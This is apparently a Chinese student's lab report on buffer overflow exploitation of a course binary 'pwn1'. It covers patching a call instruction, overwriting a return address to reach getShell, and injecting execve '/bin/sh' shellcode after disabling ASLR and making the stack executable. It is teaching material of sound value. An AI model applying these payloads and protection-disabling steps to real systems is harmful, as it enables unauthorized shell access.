网络对抗技术-Exp1-PC平台逆向破解
一、实验准备
1.首先在云班课上下载pwn1文件。
2.将pwn1文件拷贝至共享文件夹,在kali中备份一份命名为pwn20181314 cp pwn1 pwn20181314
。
二、实验内容
- 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
汇编指令 | 机器码 |
---|---|
NOP | 90 |
JNE | 75 |
JE | 74 |
JMP | eb |
CMP | 39 |
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造payload进行bof攻击
三、实验任务
任务一 直接修改程序机器指令,改变程序执行流程
通过修改main
函数中的call
指令跳转的地址,使其本来该跳转到foo
函数时,跳转到getshell
函数,从而运行getshell
函数。
- 输入
objdump -d pwn1 | more
反汇编pwn20181314文件。
可以看出call 8048491是将调用位于地址8048491处的foo函数,该指令的机器码为e8 d7 ff ff ff
。
其中foo函数的地址为08048491
,getshell函数的地址为0804847d
,通过计算其对应关系:
0x08048491 - 0x0804847d = 0x00000014 //计算地址差
0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要修改的目标地址
所以我们只需将其中的call指令的目标地址由d7变为c3。
-
输入
vi pwn20181314
打开文件pwn20181314。输入
:%!xxd
使其转换为16进制显示 -
输入
/e8 d7
查找代码位置 -
输入
i
进行编辑,将d7
修改为c3
-
输入
:%!xxd -r
将文件转换为ASCII形式,:wq
保存退出 -
此时,再对文件进行反汇编,查看是否修改成功
输入objdump -d pwn20181314 | more
,查看反汇编结果
这里可以看到在main函数中call指令跳转地址已经被修改为跳转至getshell函数了。 -
运行pwn1文件和修改后的pwn20181314文件,可以发现运行结果的不同
实验成功
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
- 反汇编,了解程序的基本功能
输入objdump -d pwn1 | more
,计算要达到缓冲区溢出所需要输入的字符数
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
08048491 <foo>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 38 sub $0x38,%esp
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax
804849a: 89 04 24 mov %eax,(%esp)
804849d: e8 8e fe ff ff call 8048330 <gets@plt>
80484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
80484a5: 89 04 24 mov %eax,(%esp)
80484a8: e8 93 fe ff ff call 8048340 <puts@plt>
80484ad: c9 leave
80484ae: c3 ret
080484af <main>:
80484af: 55 push %ebp
80484b0: 89 e5 mov %esp,%ebp
80484b2: 83 e4 f0 and $0xfffffff0,%esp
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
80484bf: c9 leave
80484c0: c3 ret
80484c1: 66 90 xchg %ax,%ax
80484c3: 66 90 xchg %ax,%ax
80484c5: 66 90 xchg %ax,%ax
80484c7: 66 90 xchg %ax,%ax
80484c9: 66 90 xchg %ax,%ax
80484cb: 66 90 xchg %ax,%ax
80484cd: 66 90 xchg %ax,%ax
80484cf: 90 nop
可以推测,需要输入的字节约为32位,下面进行验证
- 确认输入字符串哪几个字符会覆盖到返回地址
再开启一个终端,对pwn1进行gdb调试,输入字符串1111111122222222333333334444444455555555
,查看各寄存器的值
再输入1111111122222222333333334444444412345678
试试
可以发现,如果输入字符串
1111111122222222333333334444444412345678
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码,只要把这里的代码换成getshell的内存地址,输给pwn1,pwn1就会运行getshell。
由图可以知道getshell的地址为0x0804847d
0804847d <getShell>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 60 85 04 08 movl $0x8048560,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <system@plt>
804848f: c9 leave
8048490: c3 ret
- 确认用什么值来覆盖返回地址
正确的输入应为11111111222222223333333344444444\x7d\x84\x04\x08
- 构造输入字符串
因为我们无法通过键盘输入十六进制的值,所以我们先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > BOF
我们可以通过xxd BOF
命令查看我们创建的文件。
通过管道符|
,作为pwn1
的输入,格式为(cat BOF; cat ) | ./pwn0
。
实验成功
任务三 注入Shellcode并运行攻击
shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
- 准备工作
下载云班课里的prelink并安装
并设置堆栈可执行:
execstack -s pwn2 //设置堆栈可执行
execstack -q pwn2 //查询文件的堆栈是否可执行
关闭地址随机化(如果不关闭的话,每次操作esp的地址都会发生变化)
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭
echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化(“2”为开启,“0”为关闭)
- 构造要注入的payload
我们需要注入一段代码,我们首先构造一个input(参考老师给的代码)
perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input
- 在一个窗口运行
(cat input;cat) | ./pwn1
;在另外一个窗口ps -ef | grep pwn
能看见当前运行pwn1的进程号为7262 - 在gdb里面
attach 7262
进行调试 , 使用disassemble foo
反编译
可以看到ret指令的地址为
0x080484ae
,在此处设置断点break *0x080484ae
在另一个终端按下回车,这样程序就会执行之后在断点处停下来
再在gdb调试的终端输入c
继续运行程序
info r esp
查看esp寄存器地址
x/16x 0xffffd050
以16进制形式查看0xffffd050地址后面16字节的内容
从上图中看到0xffffd0c8所在的地址为0xffffd050,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置,即0xffffd050 + 0x00000004 = 0xffffd054。随后退出gdb调试。
- 修改注入代码的覆盖地址
perl -e 'print "A" x 32;print"\x54\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input
输入命令(cat input;cat) | ./pwn1
实验成功
遇到的问题及解决方法
zsh: 权限不够: /proc/sys/kernel/randomize_va_space
https://www.cnblogs.com/taskiller/archive/2012/08/15/2640694.html
我试了这个方法,将echo "0" > /proc/sys/kernel/randomize_va_space
改为sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
即可解决。
实验收获与感想
本次实验是网络攻防技术的第一次实验,缓冲区溢出在上学期的《安全编程技术》中有学到过。学习视频让我对缓冲区溢出攻击有了初步的了解,也学会了缓冲区溢出攻击的原理和基本步骤。我们向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,改变了程序的下一个地址,使程序转而执行其它指令,以达到攻击的目的。我们要掌握好基础知识,为以后学习网络攻防打下良好的基础。但是当我们学习了网络攻防知识后,我们要正确利用学到的东西,不能将这些知识用于非法领域,“kali学得好,监狱进的早”。
什么是漏洞?漏洞有什么危害?
漏洞应该就是硬件或软件上存在的可以被非法利用的部分,这些部分一般不会被人察觉,一旦被不法分子发现,他们就会通过漏洞进行非法操作。所以也就有擅长网络系统安全的工程师“白帽子”提前发现漏洞,及时提交给公司或部门,及时修复漏洞,提升安全等级。